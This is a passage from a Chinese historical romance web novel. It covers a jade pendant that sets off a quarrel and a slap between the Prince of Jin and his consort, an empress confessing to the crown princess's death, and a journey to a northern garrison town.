郑伊湄不由想到往年还在郑家时过年的情形。 那时每年洛阳都会燃起璨亮烟火,上元节不去宫中,就会陪她去街上猜灯谜。 在这平城有他,过年时他们去村子里买了爆竹桃符,一起做了团圆饭,但到底过年冷清了许多, 可她也不后悔。 她问道:“父亲还说了什么?” “郑家主说郑氏一切安好,让你莫要挂念,平城这里会冷到三月,让你多穿些衣裳。” 郑伊湄静静笑了笑,“我想捎封信给父亲,还要劳烦皎皎帮我将信送到父亲手上。” 岑璠点了点头,道:“郑家主同晋王殿下说了,等到过些年崔氏的风波过去了,就将你们调去离洛阳近些的地方。” “那便多谢殿下了。” 岑璠微微低眼,看向腰间的玉佩,问道:“阿湄可同我说说这枚玉佩的事?” 郑伊湄本不愿意提及此事,可一想想,此事已经过去多年,面前的人又是晋王妃,便也没再隐瞒,“皎皎可知道,杨氏满门被灭时,晋王的母亲投井而亡之事?” 岑璠打听过晋王从前的事,知道一二,那位皇后曾杀了宫中的一位妃子,皇帝怀恨在心,却一直碍于杨氏的势力,不敢处置。 那位皇后自请废后,又投井而亡,皇帝大怒,未将皇后葬在皇陵,连名号都不曾留下,直到晋王回来,杨氏平反,这位废后才得以恢复一个名号。 郑伊湄道:“那时晋王被大内侍卫从宫中救出,父亲安排了人将晋王送出洛阳,与杨太尉汇合,当时不少势力都要杀杨氏之人,北上时两人便是遇上了追兵,好在是在郑氏的地盘,父亲派人救下晋王,封锁消息,为了混淆视听,暗中联系了朝中势力,声称在南边找到了晋王,杨氏坠崖而亡,要将晋王护送回宫。” “母亲当时带我在彭城探亲,我虽比晋王小了三岁,可晋王在冷宫多年,身形瘦弱,看上去也是相仿,父亲便让我假扮晋王,先分散那些人的兵力,以确保晋王和杨氏剩下的人能顺利逃往军镇,可那时境遇着实凶险,虽然有郑氏人暗中相护,我与母亲却也遭到了追杀,被逼至睢陵时,实在走投无路,母亲便将我放在了寄云寺中,自己和郑氏的人与那些人周旋…” 郑伊湄说着说着,声音越来越小,渐渐地合上唇,没了声音。 岑璠多少能察觉出来什么,也没再问下去。 郑伊湄手紧了紧,却是坦然道:“后来晋王到了军镇,家里人来寻我,将我带下山去,那时我才知道,母亲在躲追兵时不幸摔下了山,过世了……” 她的父亲那时专于朝政,听到母亲因此丧命,却也是大哭一场,消沉了许久,还有过辞官的念头。 父亲这些年对他们几个母亲所出的子女都格外关照,特别是她,她能够感受到,父亲对她不仅仅是偏爱与宠溺,还有许多是愧疚…… 岑璠听后久久沉默,问道:“那你有怨过郑家主吗?” 郑伊湄道:“长大后父亲将当年的真相告诉我时,也曾怨过一段时间,可却做不到一直怨下去。” 岑璠忽然又想到,郑中书令那日说的话,说将来江山安定,便要退下来隐居。 或许不仅是对女儿有愧,更是想到了曾经的夫人。 可那是别人的父亲,她的父亲却不一样…… 她的父亲杀了她的母亲,还想杀了她,她应该怨,甚至应该恨。 郑伊湄能看出她眼底的悲伤,她不再提及这些,转而问道:“皎皎身上的玉佩,可是彭城的亲人送的?” 岑璠摇了摇头,“是晋王送的……” 郑伊湄有一瞬的惊讶,可想想却也合乎情理。 她送来的信中总说,晋王待她很好,她能看的出晋王对她的宠爱,否则便不会带她生辰来到这里。 可她却也能在她的眼中看到寂寥。 岑璠又说道:“我想同阿湄亲近,也不只是因为这块玉佩…” 这句话说的极轻,郑伊湄愣住片刻,刚想说些什么,却听到门外一声什么东西碰撞的声响。 岑璠下意识向窗外望去,却随即听到一声猫叫声。 一只花色的狸奴立在窗下,长大嘴打了个哈欠,再往远看便看到了屋檐下摇摇晃晃的灯笼。 郑伊湄叹了口气,“这是寻简从村子里捡来的狸奴,性子还有些顽劣……” 岑璠抬头看了看那摇摆的灯笼,不禁感叹,这狸奴倒是跳得高…… 郑伊湄走到窗前,叫了那只狸奴的名字,那狸奴便摇了摇尾巴,跳上窗。 郑伊湄抱起那只狸奴,摸了摸它两只黑色的耳朵,轻声训斥了两句,抬头道:“皎皎若是在王府觉得无趣,何不也养一只狸奴,或者多描几幅丹青?” 岑璠愣了愣,她平日里就不喜欢养这些会黏人的小东西,她连孩子都不想养…… 怕太黏她,又怕养不好。 至于丹青,她不想再用母亲的名号画下去…… 郑伊湄似是知道她的顾虑,轻笑道;“皎皎的画之所以为世人所喜,并非全然是因为一个名号。” “若是皎皎不相信,大可以用自己的名号画,我相信总有一日皎皎自己的名号也能被人记住。” 岑璠听后愣了一瞬,她看了看阿湄,又看了看她怀中的狸奴。 那只狸奴瞪着双葡萄似的眼睛,冲她轻轻叫了一声,似是在应和自己主人说的话。 岑璠笑了笑,“我考虑考虑。” 她短时间内应当是出不了王府,除了教导珝儿读书之外,的确还可以有别的事可以做。 阿湄说的对,她不一定要用母亲的名号来画,她可以有自己的名号,可以试着留下自己的名字。 * 两人在小院里用过午膳后,才返回平城。 身旁晋王似是兴致一直不高,分明是同她过生辰,却一点笑脸都没有。 不似平常一般同她动怒,似是整个人没有精神,死寂得让人难以忽视。 她知道他讨厌她与那两人相处,可也应当不至于如此反应才对。 岑璠忍不住问道:“殿下怎么了?” 元衡只侧开眼看向她,“没怎么。” 岑璠半信半疑,却也不想再多问。 车驶出村外,还未到平城,他却是冷不丁又问道:“王妃可是一直在怨本王?从本王同你第一次欢好那日起,心里便一直怨着本王对吗?” 那次在佛堂的事,他从未追问过她怨不怨,她也不欲想起这些。 他却不似刚才那般沉寂,粗重的呼吸扑洒在额上,清晰可闻。 岑璠回避开那道目光,却仍能感受到那道目光的凌人,像是要剥掉她身上的衣裳,将她从头到脚不着寸缕地凌迟一般。 他似一定要问她要个答案,声音比起刚才来更加沙哑,“回答本王…” 岑璠对他的阴晴不定并不耐烦,也知道他是在故意刁难她,回道:“殿下明知故问,不是吗?” 明知故问… 元衡扯开唇笑了笑,目光灼在她的身上,像是在打量一件费了很大功夫才寻到私藏起来宝物,目光肆无忌惮,流连忘返,不肯为他人窥探。 他的目光缓缓向下,最后定在她的腰间,就这么一直停驻在那块儿玉佩上。 那一点讽刺的笑意逐渐消散的看不见,面容如同冷玉,只有那眼底逐渐泛红。 他目光闪烁,薄唇轻启,似 是下了很大的勇气,手握得骨节泛白,一声微颤的轻叹似从胸腔内震出。 随之而出的询问轻到近乎不可闻,可岑璠离得极近,还是听得清楚。 他道:“郑氏腰上的那块儿玉佩,是王妃送的对吗?” 第80章 第八十章清脆的一巴掌(文案)…… 岑璠眼珠动了动,淡然点头,承认道:“是。” 那道呼吸愈发不稳,似也不是怒,像是一种纯粹的悲哀,发出的声音,都像是从喉咙中溢出的哀吼,“你可知道,郑家曾经将这块儿玉佩送给过本王?” “知道。”岑璠唇轻启,目光移向他,“可那并不是殿下的东西,不是吗?” 车中霎时间没了声音,就连那道呼吸似都屏住了。 岑璠不想再多说,怕言语刺激到他。 可她也不明白他为何会有这般反应,那块儿玉佩本就不是他的,还是他自己还回去的。 本就不是他的东西,不过是物归原主罢了,他难不成是在反悔,自己不应该将那块儿玉佩还回去…… 这和偷,和抢有什么区别呢? 岑璠理解不了,更同情不了,只能用沉默来回应。 空气变得愈发寂静,元衡也再未说只字片语。 他在平城似是很忙,陪她过完生辰便去了尔朱氏的府邸,直到夜半才回来。 他回来时动作并不算轻,却也不像是故意要吵醒她。 岑璠平躺在里侧,她能够感受到,那道身影在床边伫立了很久…… 许久之后,他上床,没有像平时夜半醒来那样,悄悄摸她的小腹,似只是静静看着她。 鬓边的头发似被碰触到,脸颊一片酥痒。 岑璠没有睁开眼,可他也没有继续碰她。 那只手收回,随即他转过了身,夜中传来一声压抑的叹息。 岑璠松了一口气。 她知道他也许还对那枚玉佩的事耿耿于怀,可他总要想通。 本就不该是属于他的,就算是欺瞒一时,也不能欺瞒一世。 可接连几日,晋王面对她,似是一直沉默寡言,那眼神似有不解和幽怨,难以释怀。 岑璠能看得出他的痛楚,却又觉得自己没有立场去说什么,只得视而不见。 他没有同她说什么时候回晋阳,岑璠不知道他在做什么,白日里也很少能见到他。 有一日天彻底黑了下来,韩泽带来话,说今晚晋王今晚会在平城的大营留下。 岑璠说了声“知道”,韩泽欲言又止。 隔日,尔朱阳雪找上门,邀她去城外跑马。 平城是尔朱氏势力所在,也应该是尔朱阳雪长大的地方,若是换做从前的她,定是会同她滔滔不绝说起在这里长大的事。 可她只是带她出了城外,什么也没有说,大冷天在外任由马儿走走停停。 岑璠能看得出她有心事,或许也不是心事,而是难解的郁结。 她问道:“尔朱姑娘可是有什么心事?” 尔朱阳雪勒住马,似是下了很大的决心,问道:“王妃想听吗?” 岑璠道:“尔朱姑娘若想说,我自然是愿意听的。” 尔朱阳雪抿了抿唇,从马背上翻身而下,就着河岸边的一块儿石头坐下。 她问道:“王妃可曾做过什么梦?” 岑璠沉默片刻,道:“做过。” 尔朱阳雪轻叹一声,说道:“我前些日病时,总是做一个梦,梦里的我很不像我” 岑璠闻言一震,一双浅亮的眸子微颤,等着她继续说下去。 湖面尚且结着冰,一阵冷冽的北风吹过,拂起了鬓角的发。 她轻声道:“我梦到我伤害了一个很爱很在乎的人,我不知道为何会这么对他,那个梦太真实了,我” 她不愿意相信那是真的,可她的直觉总是告诉她,那些事都是实实在在发生过的。 他似是也知道什么,或许他便是从她的梦中所来,所以才一直躲着她 冷风仍在席卷,冰冷刺骨,尔朱阳雪蜷起身子,静静看着湖边那丛肆意摇摆的杂草。 “其实我也梦到过自己,也梦到过身边的人。”岑璠的声音忽而响起。 尔朱阳雪回过神,抬头看她。 岑璠低下头,目光与她相接,“梦里的我自己也很不一样,我也不敢相信,梦中的就是自己” 她说完这句,便转过头去,眺望湖的对岸,“可后来也想通了,不管梦多真实,现在的我才是真正的我。” 岑璠伸出手,接住飘散在空中的一粒飞雪,雪花很快便在手心融化,她放下手,眼睫微颤,眼神似有一瞬的晦暗。 她做过许多梦,想到过许多可能,可她也想明白了很多。 现在站在这里的才是她,梦里的她不论做了什么,也肯定有自己的原由,她不会为那个虚无缥缈的自己去后悔什么,也不会仅仅因为一个梦而留恋什么。 她笑了笑,一双眸又恢复清明,“不过是一场梦罢了,尔朱姑娘不妨相信梦中的自己,已经在当下做出了最好的选择。” “一切遵从本心便好” 尔朱阳雪注视着她,惊讶于她会相信她的梦境,更惊讶于她的通透。 遵从本心 尔朱阳雪低下头,看了看湖面,冰面上浮有一层薄雪,却很快被一阵风吹开。 湖面上倒映着的是她的影子,不是那个身穿宫装,头戴凤冠的尔朱阳雪,而是现在实实在在的她。 她绽开一个笑容,那湖面上的倒映的影子也向她回了个笑。 她启开唇,无声道:“我相信你。” 说完这句话,尔朱阳雪站起了身,唇边还弯有一个笑容,“谢谢王妃。” * 外面的雪越下越大,着实不算是个骑马的好日子,同尔朱阳雪谈心后,岑璠便回到府上,手里还捧了一只汤婆子,手上的旧伤隐隐有些疼。 脚上沾上了新下的雪,雪花松软,在门口跺几脚,雪花便被抖落下来,推开门时,一阵暖气扑面而来。 她的手虽是已经好了许多,即使是雨雪天里,只要不冻着便也不会泛疼。 可即使如此,房中的地龙依旧烧的暖和,即使是在平城的宅院中,也用足了炭火,床榻边上也摆有火炉。 岑璠进屋后,能感觉得到屋内有人气。 能进这屋子的,不可能是别人。 她步子放轻了些,绕进屏风,却见一夜未归的男人坐在窗前的妆台前。 那男人的容貌实在是好看,即使是一夜未眠,也只是眼底多了两道青,脸色有些苍白,略显憔悴。 他衣裳未换,似也只是刚从外面回来,衣上还沾有雪水,宽掌中拿着什么,正在把玩。 岑璠走近,清清楚楚看到那只手掌心里握着的东西是什么。 那是阿湄的玉佩 是她送给阿湄的莲形玉佩! 背上仿佛一瞬间长满了寒刺,岑璠瞪大了眼睛,看向男人,全然是不可置信。 他是不是疯了?他为什么要拿走阿湄的玉佩! 岑璠浑身僵住,连一句话都说不出,只投过去一个眼神,像在看疯子似的眼神。 元衡却像是没有注意到她的存在一般,骨节分明的手将那枚玉佩翻了个面,小指挑起玉佩下打的绦子。 岑璠冷声问道:“这个玉佩,殿下是如何得到的?” 元衡抬眼看了看她,又看向那枚玉佩,缄口不言。 他是要将这枚玉佩占为己有。 岑璠能看得出他不讲理,便也不想同他多说,伸出手来,言简意赅道:“还我。” 那俊美的面容似被撕开一道裂缝,一双冰冷的眸中充满了血丝。 他转过头来,声音嘶哑得像滚动的砂砾,强撑着一个寒碜的笑容,不知道是在问他自己还是在问她,“一枚玉佩而已,有这么重要吗?” 岑璠眼睛红了许多,固执地分毫不让,“还给我。” 他很少看到岑璠表露出这样的怒意,挤出两声笑,“本王要是不还呢?” 这玉佩本该可以一直是他的东西,如果不是他亲手将这枚玉佩拱手让她,本可以像上一世一样 她 所有的爱意,本该是属于他一个人的才对。 因为一块儿玉佩,她曾经爱上了他,这一世也同样是因为这块儿玉佩,她对他没有丝毫怜悯。 他猜想过那么多原因,猜想过是因为他这一世逼她太紧,也猜想过她是因为厌恶元斓,却不曾想过是自己亲手将一切拱手让人。 一块儿玉佩而已,就只是一块儿破玉佩而已! 他眼中凝结着深深的执念,整个瞳染上了浓郁的墨色。 岑璠丝毫不让,语气也不似先前那般温和,提醒道:“这块儿玉佩并不是殿下的。” 她手仍然伸在那里,丝毫不畏惧他的威严,还是一句,“还我。” 这句话太冷,冷到像一把冰锥,扎在元衡的心口。 是啊,这块儿玉佩本就不属于他。 上一世的一切不过是他抢来的,偷来的 他一直以来怀念的炽热爱意,本就不属于他,是一场笑话罢了。 他居然还能沾沾自喜,以为自己曾经得到过她死心塌地的追随,以为自己得到过最珍贵的东西。 原来不过是她认错了人。 细细想来,这一世她的每一次逃跑,背后都有那郑氏姑娘的参与。 他得到的一切,他上一世唯一实实在在拥有过的,本该都属于那郑氏 凭什么?凭什么那个人能得到这么多?她却能对他厌恶至极,弃他如敝履? 他什么都没有 元衡还是不肯还她那块儿玉佩,手越攥越紧,眼睛逐渐变红,眸中是深深的不解,渐渐沾染上恨意,似要噬人。 他低眼看向她的手心,忽而又咧开一个扭曲森冷的笑,声音中带着彻骨的寒意,“一块儿玉佩罢了,不过是一块儿破玉佩,你信不信孤杀了——” 这句话还未说完,元衡只听见一声清脆的巴掌声。 那巴掌实在结实,很快半边脸都发麻。 元衡整个人都呆在了原地。【你现在阅读的是 】 80-90 第81章 第八十一章王妃打得好…… 他难以置信,许久之后才缓过神来。 那一掌毫不留情,脸上残存的疼痛感久久未消散。 元衡手捂在脸上,难以置信地看向她。 岑璠也在盯着他,那双眼中的怒意凌人,似要溢出来了一样。 她眼睛猩红一片,直视着他,死死盯住,像是在看仇人一般,丝毫不畏惧,语中带着威慑,还有恨意。 “你敢?” 元衡半晌没有说话。 他忽然想到很久前,她挡在那郑氏女的面前,说要杀就把他们一起杀了…… 他不怀疑,若他真的要杀了那两人,她的手上不知何时就会多出一把利刃,朝他毫不犹豫刺过来。 他也确实不能这么做,那是郑氏的女儿,还曾经救过他的性命。 一点办法都没有…… 想杀却杀不了,想要取而代之更无可能…… 他无法回到从前,也改变不了她的心。 或者说她的心从未变过,她喜欢的从来就不是他,只是一个念想罢了。 想到此处,元衡心里又泛起阵阵悲痛,那种痛自胸腔而来,传遍全身,难以喘息。 他沉默了许久,宽阔的肩膀颤抖,脸上却蓦然扬起一个笑,“王妃打得好……” 岑璠眼中的怒意一瞬间似都消散了不少。 她冷静了些许,仔细打量起他的神色。 他脸上还挂着那诡异的笑,从脸上看不出喜怒。 岑璠甚至开始怀疑,刚才那一巴掌有没有打在他的脸上。 他眼中凝结着深深的执念,那笑容又逐渐消失不见,比起刚才愈发黯然。 锋利的剑眉深深皱起,失去了棱角,似是非常痛苦。 可他还是追问着同样的问题,“一块儿玉佩,真的有这么重要吗?” 岑璠听他这么问,却是低下了眼眸。 她也想问自己,一块儿玉佩而已,有这么重要吗? 好像也并不是那么重要…… 不过是一个物件,一个念想罢了。 倘若拥有这块儿玉佩的是晋王,她会和他成为一路人吗? 或许一开始会,可她知道,不会永远是。 就算是梦中的她,到最后似乎也放弃了心中一直残存的执念。 她虽然不知道那些梦和现在发生的一切究竟有什么联系,可她清楚的知道,她与晋王终归不可能和走上同一条道路。 岑璠低头看了看他手上的玉佩,刹那间觉得,他有没有拿走这块儿玉佩都不是那么重要了。 她释怀地笑了,“或许是吧,可最重要的并不是玉佩。” 她越是这般释怀,元衡心中的执念越深。 他还是不肯相信。 上一世就是因为这枚玉佩,他得到了很珍贵的东西,怎么可能不重要呢? 他不甘心地问道:“倘若孤没有将玉佩还给她,你会” 她会愿意一生一世守在他身边,心甘情愿做他的王妃吗? 可这些话还未问出口,她便打断道:“殿下,有些事没有如果,很多事也不是一枚玉佩便能决定的。” 她说的足够明白,元衡也再难用自己编造的谎言说服自己。 他曾经肆意践踏的那份真心,本是不属于他的东西。 再想找回,如今也是找不回不来了 手心的那枚玉佩彻底成了一块儿坚硬冷冰的玉石,元衡渐渐松开手。 那枚玉佩在他的掌心摊开,他的眼并不在她身上,那双精明算计的眸似失去了些神采。 岑璠伸出手,纤指放在他的掌心,默声拿起那块儿玉佩,行了一礼,退开几步。 他并未有丝毫的不满,似是默许那块儿玉佩就这么回到她的手中。 岑璠不明白,他为何会因为将一块儿本不属于自己的玉佩物归原主,便如此疯魔,难以释怀。 她多看了他几眼,只盼他能快些想明白,免得又要做出什么常人难以理解的举动。 空空如也的掌心动了动,他似是回过些神,摇摇晃晃站起身,朝她走来。 像一具行尸走肉一样,站定在她的身前,只有那宽阔坚实的胸膛在剧烈起伏。 岑璠说的句句肺腑,可还是不由屏住呼吸。 他离得很近,几乎能听见那胸腔内震出的呼吸声,说出来的话很平静,却又带有难以洗去的执念,“孤不会放手,王妃若是以为说这些便能走,还是死了这条心吧。” 岑璠轻轻笑了笑,她当然知道自己出不了府。 很早之前,他便给她划好了一个囚笼不是吗。 这番话究竟是同她说,还是为了骗他自己呢? 岑璠恭恭敬敬行了一礼,“妾身知道。” 元衡沉默许久,没有看她,也没有再逼她说些什么,从她身边略过,径直出了房门。 岑璠眺望片刻,又低下头,看向手中的那枚玉佩,忽而默声轻笑。 元衡没有回头,步子却迈得极缓。 忽而,他听到一声清脆的碎裂声。 他脚步顿住,回过头去。 她手还停在那里,而那枚已经破碎的玉佩就在她的脚下。 上辈子她对他的执念,还有这辈子他难以释怀的,似就这么被她轻易地全部割舍了去… 凛冬的风实在寒冷,才从那暖房中出来,转瞬间便冰冷刺骨,左半边脸的烧烫感还未消下去,五指却 被冻得僵硬,许久后才能弯曲。 她那眸光太过坦荡,坦荡到他觉得无地自容。 他避开那道目光,心中难掩的慌乱,脚步也不由放快了些。 想逃开她的不屑,也想逃开不敢一直以来不敢面对的现实。 他就这样躲了好几日。 即使在夜里,也不曾再回来。 可离开平城时,他还是带上了她。 他们并没有回平城,而是一路向北而去, 再往北走,便是军镇。 晋王一直避着她,岑璠不知道他的打算,她此行只带了槿儿,便是让槿儿出去打听一番。 韩泽说,他们此行确实要去军镇,至于要去做什么,却没有说。 岑璠也能看得出,他此次来平城不仅是为了和她过生辰,还有其他的事要办。 似是与尔朱氏有关。 据槿儿打听来的消息,晋王似是有人要寻。 岑璠只知道他想当皇帝,可对这些事向来不好奇。 也不知道是什么人,值得晋王亲自去寻。 * 皇城之中也并非全然太平。 前些日子关于尔朱氏的流言四起,皇后虽是将事情压了下去,可还是不妨有人还一直记得。 太子对此事便始终未忘怀。 那流言分明是有人故意散开,否则不会这么快便满宫皆知。 尔朱氏作为盘踞军镇的氏族,若是能与之联姻,那便等同于削弱了晋王的实力,此番虽是对他有利,可太子妃新丧,他并不想这么快另娶 思来想去,将此事散播出去,除了他外,便也只能有母后。 皇后是他的亲生母亲,可太子也知道,母后这些年手伸得长,在他的东宫也安排了数不清的眼线。 他身边到底是有些亲信,费了一番功夫去查,没有查出那散布流言的究竟是谁,却是意外查出了另一件事。 太子站在皇后的永乐宫外请见。 皇后知道太子不打招呼便来,定是来寻她麻烦。 她以为是为了那流言,此事她早已想好了说辞。 她未做梳洗准备,便让太子进殿。 太子的确是来质问的,谁知质问的并不是关于尔朱氏的流言。 他目眦尽裂,眼中布满红丝,“孤想问问母后,孤的太子妃究竟是怎么死的?” 皇后有一瞬的惊讶,下意识皱起眉,问道:“是谁告诉太子的?” 这般发问却是激怒了太子,他拂袖,怒吼道:“你不配知道这些!” 殿内只有皇后的贴身婢女,正低头若无其事地铺着焚香,听到这一声怒吼,手也不免抖了抖,香炉盖掉在桌子上,发出叮呤咣啷的响声。 这么多年,皇后早已处变不惊,何况是面对自己了如指掌的儿子。 她使了个眼色,那婢女便慌忙将香炉盖盖好,行礼告退。 待到殿内没有人了,皇后深吸一口气,问道:“太子都知道了?” 她的神情淡漠,就像手上不曾沾有血一样。 太子有一瞬的匪夷所思,转而却是失望透顶,声音颤抖,“是母妃杀了她对吗,她根本不是忽然离世,是母妃推了她” 皇后静静看着他,面色逐渐凝固。 平心而论,她这个儿子当真不像她,感情用事,喜形于色,遇到点事便会方寸大乱。 她从座上起身,向太子走去,话音愈发冷漠,连起伏都不曾有,向他说起当日之事。 “是她先骗了太子和本宫,喝那避孕的药方,本宫是忍不住推了她一下,那也要怪她自己不争气,没有站稳,命薄福浅。” 一字一句落在太子耳中,如同针扎,他不住摇头,愈发难以置信,忽而捂住耳朵,俯下身低吼,“够了!我不想听你说这些!你个杀人凶手。” 皇后站得笔直,沉默许久,道:“你抬起头来。” 太子下意识抬头,不轻不重的一巴掌朝他而来。 就连那一掌都不带有任何人该有的情感。 皇后冷声道:“你要记住,你是储君,那太子妃不愿生养,便是于社稷无用,整日沉溺于儿女情长,不是储君该做之事。” 太子不以为然,扯开一个冷笑,“那母后倒是告诉孤,到底什么是储君该做之事,是万事都要听从母后,要孤做胡氏的傀儡吗!” 皇后听罢,再也装不下去表面的冷静。 她怒火难抑,咬紧牙又是狠狠一巴掌,“本宫若是要一个傀儡,便不会生下你。” 太子无法理解,瞪大眼睛看着皇后,未等她再说什么,迈开了步子,毫不犹豫地离开。 皇后立在原地许久,未唤人进来,缓缓挪步坐回到那贵妃榻上。 还不待多想刚才的事,便是听管事的太监在门外通报。 一声应允,管事太监进了门。 那太监进门后,环望四周,似是欲言又止,眼神飘忽,久久没有开口。 皇后却没有什么耐心,声音慵懒却透着疲惫,“有话便快说。” 管事太监只得行了一礼,照实说道:“皇后娘娘,北镇来报,说是娘娘要找的人趁乱跑了。” 第82章 第八十二章倘若她想起来了,你打算怎…… 向北的队伍走走停停,岑璠又让槿儿出去打听了一番,才问出晋王此行是要去赤城。 至于为何带上她,约莫是怕她像上次一样,趁他不在又跑了。 玉佩之事才过去几日而已,她不知道他是否能释怀。 马车忽然停下,韩泽在外通报,说队伍要歇整,问她要不要下车透气。 队伍行了半日,岑璠也觉着憋闷。 他们停在了一片广袤的平原上,军镇的风比起平城更加凛冽,她掀开帘,便有冷气扑面而来,似能呼吸进去风雪的气息。 那呼进胸腔的空气都是冷的,冷到能让马车内昏沉了半日的人瞬间清醒过来。 外面阳光正好,在一片茫茫白雪的映照下泛着莹莹光芒,有些刺眼。 岑璠抬起头,避开那令人晕眩的白光,继而看到了站在不远处的男人。 她太久没见他,甚至要动身的当日,他都不曾在她面前现身。 那日韩泽忽然通知她要走,连她的行囊都是当日匆忙收拾的。 他脸上明显的那道巴掌印已经消了下去,恢复了平日里的清冷,不似那日浑身的戾气和疯魔。 只是在目光对上她时,还是避开了。 岑璠了然,知他还未释怀。 元衡将韩泽叫了过去,吩咐了几句。 韩泽得了令,离开前转头看向岑璠,又看了看避而不见的晋王。 他当然知道自家主子前几日被打了,那道掌印实在太过明显,想不知道都难…… 能让晋王被打了一巴掌还这般忍气吞声,除了王妃,没有别人,就算是太尉也不能。 在平城里,倒也是没有不识相的敢提起那巴掌印。 韩泽似是叹了口气,复而向岑璠走来,好声道:“王妃在这里陪着殿下吧。” 他倒也没有多说什么,只提了这么一句,便转身离开。 岑璠余光瞧了一眼,见他没有要同他说什么的意思,却还是听了韩泽的话,一直站在离他一丈远的地方。 两人的目光不曾有 过交汇,只有冷风呼啸声,被吹起的雪从中间卷过。 不过一会儿,一队人出现在他们面前,打破了寂静。 那队人身穿的军服和他们这行人的很不一样,身上的皮袄厚实,袖口和裤口都紧紧扎起,身形高硕。 为首的人戴了顶羊皮帽,络腮胡布满半张脸,见到他们时候还在喘息,似是从什么地方特地赶过来。 那大胡子军士向他们行的是军礼,行礼后便自报家门,自称姓曹,在太尉手下做事。 元衡认得他,淡淡说了句,“本王认得你。” 军士颔首,“能被殿下记住,是属下的荣幸。” 元衡并不将这句奉承放在心上,他直截了当问道:“之前发生了什么,你向本王如实说来。” 那军士似知道晋王问的是何事,张口说起前因后果。 他们似不打算避开她,岑璠便也将事情原委听了个全乎。 元衡和那军士都在找同一个人。 据她听来,那军士应该是奉命押送一个女人去见杨太尉,半路上却是不知道从哪里冒出来了一队伪装成商队的人马。 那队人马的目的,是要同他们抢人。 就在两方兵刃相接时,却是有几个来历不明的高手将那女人劫走了。 那队人见到女人被带走,也没有同他们有过多纠缠,只留下一批死士断后,训练有素地撤退,没留下任何线索。 元衡听后,没有责问于他,只说道:“那女人和崔氏有关系,崔纪虽死,崔氏却还在,你这几日派人注意崔氏的动向。” 军士颔首,“属下明白。” 元衡说完这些,并未再吩咐多余的什么。 赤城靠近燕山,寒冬漫长,一行人选了最好走的路,可还是不免绕过几座山。 到了赤城,和平城相比,又是另一幅景象。 紧挨着六镇的城池或许根本算不上城,也只有城墙算得上高,城内房屋低矮,有些甚至是用茅草堆砌。 此地环山,却有一个豁口面向平原,北风吹过,一层层茅草便被吹得散乱了许多。 岑璠不难想,若是风再大点,许多茅屋定是会散掉。 这冬天着实是难熬。 赤城所居大多祖辈都是军户,如今仍有人在做边军,倒也还能活下去,有些做着营生,好些的一年南北两头跑,做些运送粮食的买卖,倒还能活得下去,大多数人还是饥一顿饱一顿。 那些不能入军的,很多都是得罪了当地将领的。 倒也不能说是得罪,只是不愿意向边将送银子,或者是送不出银子。 六镇的兵权其实和中原的世家没什么两样,这么多年过去,实际上也只掌握在少数当地贵族手上。 这些人看似只受他和杨氏掌控,实际就是军镇中的豪强,四分五裂,各有自己的领土势力。 早些年没有成为豪强的旧族,祖辈大多也从军,作为军户世代留在军镇,可当今皇帝改化,颁布法令,北镇军户只能世袭为兵,镇民便像是被圈在军镇的羊,要么只能靠给贵族上交银两在军中谋得一条生路,要么只能等着被饿死。 军中掌权的贵族也是仗着这一点,这些年收取银两愈发猖狂。 军户与贵族的矛盾日益尖锐,直到杨知聿今岁接手此城大小事务,将一部分荒地划出来,发放给那些无法从军的人家来年用于耕作,过冬时又将粮食送到每家每户,矛盾才有所缓和。 前不久,杨知聿下过不成文的规矩,任何车马不得进城。 一来是为了不让乘不起车的军户心生怨恨,二来也是为了让那些来城里征收银两的豪强收敛几分。 元衡没有破坏这城中的规矩,同岑璠一起骑马入城,齐良越从军中赶来,亲自迎两人进城,顺便说起诏令在赤城实行的情况。 岑璠四处环望,眉头不禁越皱越紧,问道:“杨将军既然做了这么多,为何不给这里的军民修缮房屋?” 齐良越愣了愣,讪笑道:“这城墙也需要修补,砖瓦实在不够用啊” 岑璠想起,刚才那座巍峨的城墙,看上去气派,可砖瓦也都是新旧不一。 六镇有城墙环绕,柔然铁骑难以进攻,而此地恰好有一个缺口,便常受柔然侵扰。 这里人烟稀少,也不如六镇富饶,就算铁骑踏入赤城,也还有群山挡着六镇,是以每代帝王都不曾重视, 想来是常年战乱,城墙才会如此破败不堪。 岑璠一时间也能理解这里的处境,也怕元衡再想起什么,要责问起齐良越,便没继续追问。 * 晚些时候,杨知聿来到府上。 元衡不咸不淡说了几句,话里话外都是在说他这个赤城的父母官做的尽职尽责,处事妥当,贵族和军户两边不得罪。 杨知聿知道他的脾性,知道他并不完全是在褒赞他。 是在嘲讽奚落,也是在说他老奸巨猾。 杨知聿并不在意这些,端起桌上温好的酒。 军镇的酒大多辛辣,喝了一口,整个身子便是暖了起来。 杨知聿觉着舒坦了不少,才问道:“你来军镇,怎么将她也带了过来?” 元衡抬起眼,似有一瞬的警觉,可须臾间便遮掩起了那点锋利。 他道:“这是孤的家事。” 杨知聿哼笑一声,神色戏谑,“我可是听到有人说,咱们的晋王殿下,被人打了脸。” 元衡听闻,脸色瞬间沉了下来。 他再看向他,目光中有严厉,“你听何人提起的?” 杨知聿显然不怕他,“你倒也不必这般,你脸上顶着那么大的巴掌印,还不得不出去见人,别人表面不说,背地里不议论几句,才是怪事。” 他看他一眼,接着试探道:“她平日里性子温和,定然是你又出言不逊,她才会打了你。” 元衡不置可否。 杨知聿沉默半晌,问道:“你到底是同她说了何事,她会怒到打你一掌?” 元衡不想提起那日的事,实在太过丢面子。 他搪塞道:“这是本王的家事。” 杨知聿猜到了他的回答,淡淡一笑,若无其事替他揭过去,又问道:“听晋阳的人在传,晋王府的王妃不愿意要子嗣,晋王为此还煞费苦心,托各家妇人上门劝戒,可是真事?” 他这番话倒是像来替他的王妃来讨说法一样,元衡听着不舒服,愈发不耐烦,“是又如何?与你何干?” 杨知聿可以忍受他的很多次坏脾气。 可独独是她的事,他绝对不会替她忍让。 他言辞肃然,道:“我只是想告诉你,这件事你不要逼她。” 他不能,也不配。 面前的人每每见他,总要在他面前提起他的王妃,这一点元衡有所察觉。 而且每一次同他提及她的事,都浑身长满芒刺,像是要同他清算,讨要说法一样。 起初他觉得面前的人对她有意,可设一来二去,他竟会觉得他更像是她的娘家人。 他也不肯承认他说的。 “孤没有逼她,她现在想通了,愿意给孤生,也用不着你管。” 杨知聿欲言又止,陷入沉默。 元衡不想同他因为此事吵,手臂伸向大门,做了个送客的手势。 杨知聿看了看他的手,屁股未抬一下,稳稳坐在那里。 忽而他却沉声道:“过年时我去看了阿雪,她说她病时做了一场很长的梦。” “她是个很聪明的人,应当是发现了什么,见到我时反复试问我,说起的很多都是上一世的事” 